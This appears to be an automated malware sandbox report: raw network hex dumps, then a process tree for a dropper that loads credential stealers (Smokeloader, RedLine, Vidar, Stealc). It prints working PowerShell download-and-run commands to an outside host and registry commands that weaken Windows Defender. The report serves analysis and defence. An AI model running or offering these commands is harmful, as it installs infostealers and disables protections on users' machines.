2024-04-26 09:06:30 UTC	4344	IN	Data Raw: 00 00 0a 1b 1f 0a 16 28 4d 00 00 06 02 7b 35 00 00 04 11 0a 72 fc 1b 00 70 17 1e 17 6f 87 00 00 0a 26 11 08 7b 4e 00 00 0a 72 18 1c 00 70 28 2a 00 00 0a 13 0b 11 0b 28 ac 00 00 0a 2c 2f 02 7b 35 00 00 04 28 d9 00 00 0a 72 38 1c 00 70 28 2a 00 00 0a 72 ad 14 00 70 11 0b 72 52 1c 00 70 28 5c 00 00 0a 17 1e 17 6f 87 00 00 0a 26 11 08 7b 4e 00 00 0a 72 62 1c 00 70 72 18 1c 00 70 28 b5 00 00 0a 13 0b 11 0b 28 ac 00 00 0a 2c 2f 02 7b 35 00 00 04 28 d9 00 00 0a 72 38 1c 00 70 28 2a 00 00 0a 72 ad 14 00 70 11 0b 72 52 1c 00 70 28 5c 00 00 0a 17 1e 17 6f 87 00 00 0a 26 11 08 7b 4e 00 00 0a 72 6a 1c 00 70 72 18 1c 00 70 28 b5 00 00 0a 13 0b 11 0b 28 ac 00 00 0a 2c 2f 02 7b 35 00 00 04 28 d9 00 00 0a 72 38 1c 00 70 28 2a 00 00 0a 72 ad 14 00 70 11 0b 72 52 1c 00 70 Data Ascii: (M{5rpo&{Nrp((,/{5(r8p(rprRp(\o&{Nrbprp((,/{5(r8p(rprRp(\o&{Nrjprp((,/{5(r8p(rprRp
2024-04-26 09:06:30 UTC	704	IN	Data Raw: 28 36 00 00 0a 16 1f 0a 16 28 4d 00 00 06 de 00 02 72 7a 2b 00 70 16 1f 0a 16 28 4d 00 00 06 17 2a 11 13 2a 00 41 94 00 00 00 00 00 00 88 00 00 00 9f 00 00 00 27 01 00 00 03 00 00 00 1c 00 00 01 02 00 00 00 88 00 00 00 a4 00 00 00 2c 01 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 4b 02 00 00 a6 00 00 00 f1 02 00 00 03 00 00 00 1c 00 00 01 02 00 00 00 4b 02 00 00 ab 00 00 00 f6 02 00 00 0c 00 00 00 00 00 00 00 02 00 00 00 3d 03 00 00 45 01 00 00 82 04 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 3c 00 00 00 65 04 00 00 a1 04 00 00 1a 00 00 00 1f 00 00 01 1b 30 05 00 9a 04 00 00 12 00 00 11 02 28 25 00 00 06 26 72 d8 27 00 70 0a 72 9e 2a 00 70 0b 02 72 bc 2b 00 70 16 1f 0a 16 28 4d 00 00 06 72 11 00 00 70 0c 72 11 00 00 70 0d 72 11 00 00 70 13 04 72 11 00 00 70 Data Ascii: (6(Mrz+p(M*A',KK=E<e0(%&r'prpr+p(Mrprprprp
2024-04-26 09:06:30 UTC	1448	IN	Data Raw: dd 97 02 00 00 08 28 27 00 00 0a 39 c2 00 00 00 11 09 07 17 6f 39 00 00 0a 13 14 11 14 39 9d 00 00 00 11 14 72 a9 10 00 70 6f 3b 00 00 0a 25 2d 04 26 14 2b 05 6f 1e 00 00 0a 13 05 02 72 38 2a 00 70 11 05 28 36 00 00 0a 16 1f 0a 16 28 4d 00 00 06 11 14 2d 03 14 2b 18 11 14 72 b1 10 00 70 28 3b 00 00 0a 25 2d 04 26 14 2b 05 6f 1e 00 00 0a 0c 11 14 72 22 29 00 70 6f 3b 00 00 0a 25 2d 04 26 14 2b 05 6f 1e 00 00 0a 0d 11 14 72 83 0a 00 70 6f 3b 00 00 0a 25 2d 04 26 14 2b 05 6f 1e 00 00 0a 13 04 11 14 72 b9 10 00 70 6f 3b 00 00 0a 25 2d 04 26 14 2b 05 6f 1e 00 00 0a 13 06 de 03 26 de 00 de 0c 11 14 2c 07 11 14 6f 50 00 00 0a dc 72 d6 29 00 70 13 0a 11 05 28 27 00 00 0a 2d 16 11 05 6f 6e 00 00 0a 06 6f e8 00 00 0a 2c 07 72 9e 2a 00 70 13 0a 20 02 00 00 80 16 28 Data Ascii: ('9o99rpo;%-&+or8p(6(M-+rp(;%-&+or")po;%-&+orpo;%-&+orpo;%-&+o&,oPr)p('-ono,rp (
2024-04-26 09:06:30 UTC	14480	IN	Data Raw: 00 0a 0c 08 72 8a 2e 00 70 28 2a 00 00 0a 0d 03 2c 30 07 28 ac 00 00 0a 2c 28 09 28 ac 00 00 0a 2d 20 08 28 aa 00 00 0a 2d 07 08 28 ab 00 00 0a 26 07 08 72 8a 2e 00 70 28 2a 00 00 0a 28 ef 00 00 0a 02 7b 35 00 00 04 06 16 6f d3 00 00 0a 26 de 1a 13 04 02 72 9e 2e 00 70 11 04 28 36 00 00 0a 16 1f 0a 16 28 4d 00 00 06 de 00 2a 01 10 00 00 00 00 00 00 89 89 00 1a 1f 00 00 01 1b 30 05 00 fc 00 00 00 16 00 00 11 72 d6 29 00 70 03 28 23 00 00 0a 0a 72 a9 10 00 70 0b 72 83 0a 00 70 0c 72 b9 10 00 70 0d 04 72 11 00 00 70 51 05 72 11 00 00 70 51 0e 04 72 11 00 00 70 51 18 8d 1d 00 00 01 25 16 20 02 00 00 80 20 00 02 00 00 28 38 00 00 0a a2 25 17 20 02 00 00 80 16 28 38 00 00 0a a2 13 04 16 13 05 2b 71 11 04 11 05 9a 06 6f e4 00 00 0a 13 06 11 06 2c 4c 11 06 08 6f Data Ascii: r.p(,0(,((- (-(&r.p(({5o&r.p(6(M*0r)p(#rprprprpQrpQrpQ% (8% (8+qo,Lo
2024-04-26 09:06:30 UTC	5792	IN	Data Raw: 01 00 0a 26 de 03 26 de 00 07 28 ac 00 00 0a 2c 15 07 28 a3 00 00 0a 20 e8 03 00 00 28 88 00 00 0a de 03 26 de 00 2a 00 00 41 94 00 00 00 00 00 00 4d 00 00 00 12 00 00 00 5f 00 00 00 27 00 00 00 1c 00 00 01 02 00 00 00 9a 00 00 00 18 00 00 00 b2 00 00 00 0c 00 00 00 00 00 00 00 02 00 00 00 91 00 00 00 36 00 00 00 c7 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 87 00 00 00 4e 00 00 00 d5 00 00 00 0c 00 00 00 1c 00 00 01 00 00 00 00 36 00 00 00 27 01 00 00 5d 01 00 00 03 00 00 00 1c 00 00 01 00 00 00 00 68 01 00 00 12 00 00 00 7a 01 00 00 03 00 00 00 1c 00 00 01 42 28 7e 00 00 06 72 11 00 00 70 28 63 00 00 06 2a 1e 02 28 ba 00 00 0a 2a 00 00 00 13 30 04 00 4b 00 00 00 00 00 00 00 28 40 01 00 0a 25 14 fe 06 53 00 00 06 73 ae 01 00 0a 6f af 01 00 0a 28 95 00 Data Ascii: &&(,( (&AM_'6N6']hzB(~rp(c(*0K(@%Sso(
2024-04-26 09:06:30 UTC	16384	IN	Data Raw: 00 71 00 52 00 db 00 02 00 10 00 f0 2f 00 00 71 00 54 00 db 00 03 21 10 00 fe 05 00 00 71 00 5b 00 ea 00 03 21 10 00 fe 05 00 00 71 00 5e 00 ee 00 16 00 20 04 67 0b 56 80 33 04 84 00 56 80 86 0e 84 00 16 00 8b 0a 84 00 16 00 cd 0b 6b 0b 16 00 7c 09 6f 0b 16 00 0e 1e 73 0b 16 00 61 32 db 07 16 00 67 17 62 02 16 00 5c 0c 84 00 16 00 d8 0a 62 02 16 00 b4 33 77 0b 16 00 7e 05 62 02 16 00 05 2f 7a 0b 16 00 53 30 62 02 16 00 62 30 62 02 11 00 48 17 77 0b 11 00 94 09 7e 0b 11 00 3b 07 62 02 11 00 62 07 62 02 11 00 39 2f 84 00 11 00 b3 07 62 02 11 00 f6 07 62 02 16 00 b4 04 84 00 16 00 a5 04 84 00 16 00 1d 04 84 00 16 00 f3 04 84 00 16 00 c5 0e 84 00 16 00 95 2f 84 00 16 00 f8 0a 84 00 06 00 6b 17 84 00 06 00 d2 04 62 02 06 00 c2 21 62 02 06 00 ba 1a 62 02 06 00 Data Ascii: qR/qT!q[!q^ gV3Vk\|osa2gb\b3w~b/zS0bb0bHw~;bbb9/bb/kb!bb
2024-04-26 09:06:30 UTC	16384	IN	Data Raw: 6f 6c 64 50 33 36 30 49 6e 73 74 61 6c 6c 61 74 69 6f 6e 50 61 74 68 00 69 6e 73 74 61 6c 6c 61 74 69 6f 6e 50 61 74 68 00 47 65 74 54 65 6d 70 50 61 74 68 00 47 65 74 46 6f 6c 64 65 72 50 61 74 68 00 67 65 74 5f 54 61 72 67 65 74 50 61 74 68 00 73 65 74 5f 54 61 72 67 65 74 50 61 74 68 00 53 68 6f 72 74 63 75 74 50 61 74 68 00 47 65 74 69 6f 6c 6f 49 6e 73 74 61 6c 6c 49 6e 66 6f 4b 65 79 50 61 74 68 00 72 65 67 69 73 74 72 79 50 61 74 68 00 70 61 74 68 00 67 65 74 5f 4c 65 6e 67 74 68 00 73 65 74 5f 43 6f 6e 74 65 6e 74 4c 65 6e 67 74 68 00 45 6e 64 73 57 69 74 68 00 53 74 61 72 74 73 57 69 74 68 00 67 65 74 5f 41 62 73 6f 6c 75 74 65 55 72 69 00 67 65 74 5f 52 65 71 75 65 73 74 55 72 69 00 41 73 79 6e 63 43 61 6c 6c 62 61 63 6b 00 49 6e 69 74 69 61 6c Data Ascii: oldP360InstallationPathinstallationPathGetTempPathGetFolderPathget_TargetPathset_TargetPathShortcutPathGetioloInstallInfoKeyPathregistryPathpathget_Lengthset_ContentLengthEndsWithStartsWithget_AbsoluteUriget_RequestUriAsyncCallbackInitial
2024-04-26 09:06:30 UTC	16384	IN	Data Raw: 38 00 35 00 2d 00 42 00 36 00 37 00 39 00 2d 00 33 00 46 00 39 00 31 00 35 00 37 00 32 00 43 00 44 00 33 00 42 00 34 00 7d 00 5f 00 69 00 73 00 31 00 01 37 53 00 4d 00 31 00 35 00 20 00 55 00 70 00 67 00 72 00 61 00 64 00 65 00 20 00 45 00 78 00 63 00 65 00 70 00 74 00 69 00 6f 00 6e 00 3a 00 20 00 7b 00 30 00 7d 00 00 09 53 00 4d 00 31 00 32 00 00 61 50 00 72 00 65 00 70 00 61 00 72 00 69 00 6e 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6d 00 20 00 4d 00 65 00 63 00 68 00 61 00 6e 00 69 00 63 00 20 00 31 00 32 00 20 00 46 00 6f 00 72 00 20 00 55 00 70 00 67 00 72 00 61 00 64 00 65 00 20 00 74 00 6f 00 20 00 76 00 7b 00 30 00 7d 00 00 37 53 00 4d 00 31 00 32 00 20 00 55 00 70 00 67 00 72 00 61 00 64 00 65 00 20 00 45 00 78 00 63 00 65 00 70 00 74 00 69 Data Ascii: 85-B679-3F91572CD3B4}_is17SM15 Upgrade Exception: {0}SM12aPreparing System Mechanic 12 For Upgrade to v{0}7SM12 Upgrade Excepti
2024-04-26 09:06:30 UTC	16384	IN	Data Raw: 00 72 00 69 00 64 00 67 00 65 00 50 00 61 00 74 00 68 00 00 51 49 00 4e 00 53 00 54 00 41 00 4c 00 4c 00 20 00 52 00 65 00 6d 00 6f 00 76 00 69 00 6e 00 67 00 20 00 4c 00 65 00 67 00 61 00 63 00 79 00 20 00 44 00 61 00 74 00 61 00 20 00 46 00 6f 00 6c 00 64 00 65 00 72 00 3a 00 20 00 7b 00 30 00 7d 00 00 11 65 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 00 37 49 00 4e 00 53 00 54 00 41 00 4c 00 4c 00 20 00 52 00 65 00 73 00 74 00 61 00 72 00 74 00 69 00 6e 00 67 00 20 00 45 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 00 19 65 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 2e 00 65 00 78 00 65 00 00 27 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 50 00 68 00 6f 00 65 00 6e 00 69 00 78 00 33 00 36 00 30 00 00 41 44 00 65 00 6c 00 65 00 74 00 65 00 Data Ascii: ridgePathQINSTALL Removing Legacy Data Folder: {0}explorer7INSTALL Restarting Explorerexplorer.exe'Software\Phoenix360ADelete

Target ID:	0
Start time:	11:05:54
Start date:	26/04/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	50'907 bytes
MD5 hash:	6781C522F3390CC4947959D168E61BBC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:05:55
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd" /c "C:\Users\user\AppData\Local\Temp\nsg4683.tmp\load.bat"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:05:55
Start date:	26/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:05:56
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')"
Imagebase:	0xa40000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:05:57
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
Imagebase:	0xa40000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:06:00
Start date:	26/04/2024
Path:	C:\Users\user\AppData\Local\Temp\i1.exe
Wow64 process (32bit):	true
Commandline:	i1.exe /SUB=28381000 /str=one
Imagebase:	0x400000
File size:	452'609 bytes
MD5 hash:	AE73EB4CBE39E4A9E28A367331329A12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000006.00000003.2228626485.00000000070A5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000006.00000002.2388126595.0000000004185000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:06:01
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=444', 'i2.bat')"
Imagebase:	0xa40000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:06:05
Start date:	26/04/2024
Path:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\u5do.0.exe"
Imagebase:	0x400000
File size:	305'152 bytes
MD5 hash:	80E0FECE33768E20034D106DB0D36341
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000008.00000002.2524446815.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000008.00000002.2524446815.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000008.00000002.2524446815.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.2524680807.000000000418A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000008.00000002.2524648467.0000000004175000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000008.00000003.2090320672.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000008.00000003.2090320672.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:06:06
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=456','i3.exe')"
Imagebase:	0xa40000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	11:06:15
Start date:	26/04/2024
Path:	C:\Users\user\AppData\Local\Temp\u5do.2\run.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\u5do.2\run.exe"
Imagebase:	0x2f0000
File size:	2'469'936 bytes
MD5 hash:	9FB4770CED09AAE3B437C1C6EB6D7334
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	11:06:16
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\cmd.exe
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.2450909724.0000000006300000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000000C.00000002.2450909724.0000000006300000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	11:06:16
Start date:	26/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	11:06:17
Start date:	26/04/2024
Path:	C:\Users\user\AppData\Local\Temp\i3.exe
Wow64 process (32bit):	true
Commandline:	i3.exe
Imagebase:	0x400000
File size:	6'977'619 bytes
MD5 hash:	17704F5C7895ADD518E691A997D765FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	11:06:18
Start date:	26/04/2024
Path:	C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe
Wow64 process (32bit):	true
Commandline:	.\Install.exe /EdidWTW "385128" /S
Imagebase:	0x990000
File size:	6'749'184 bytes
MD5 hash:	90487EB500021DBCB9443A2CF972A204
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	11:06:19
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:06:19
Start date:	26/04/2024
Path:	C:\Users\user\AppData\Local\Temp\u5do.3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\u5do.3.exe"
Imagebase:	0x400000
File size:	4'866'096 bytes
MD5 hash:	397926927BCA55BE4A77839B1C44DE6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000011.00000000.2221929722.0000000000401000.00000020.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe, Author: Joe Security
Antivirus matches:	Detection: 4%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:06:19
Start date:	26/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	11:06:19
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Imagebase:	0xbe0000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	11:06:19
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	11:06:19
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Imagebase:	0x300000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	11:06:19
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Imagebase:	0xbe0000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	11:06:19
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	11:06:19
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Imagebase:	0x300000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	11:06:20
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Imagebase:	0xbe0000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	11:06:20
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	11:06:20
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6972 -s 1420
Imagebase:	0x770000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	11:06:20
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
